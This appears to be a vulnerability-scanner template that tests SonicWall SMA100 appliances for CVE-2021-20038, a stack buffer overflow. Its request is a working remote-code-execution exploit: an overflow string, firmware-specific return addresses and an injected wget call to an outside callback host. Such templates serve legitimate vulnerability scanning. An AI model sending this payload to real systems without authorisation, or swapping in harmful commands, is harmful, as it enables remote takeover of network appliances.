40 lines
1.5 KiB
YAML
40 lines
1.5 KiB
YAML
id: CVE-2021-20038
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info:
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name: SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution
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author: dwisiswant0, jbaines-r7
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severity: critical
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description: A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
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reference:
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- https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis
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- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20038
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-20038
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cwe-id: CWE-787
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tags: cve,cve2021,overflow,rce,sonicwall,kev
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requests:
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- raw:
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- |
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GET /{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};?{{repeat("A", 518)}} HTTP/1.1
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Host: {{Hostname}}
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attack: clusterbomb
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payloads:
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prefix_addr:
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- "%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf" # stack's top address
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system_addr:
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- "%08%b7%06%08" # for 10.2.1.2-24sv
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- "%64%b8%06%08" # for 10.2.1.1-1[79]sv
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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# Enhanced by mp on 2022/04/29
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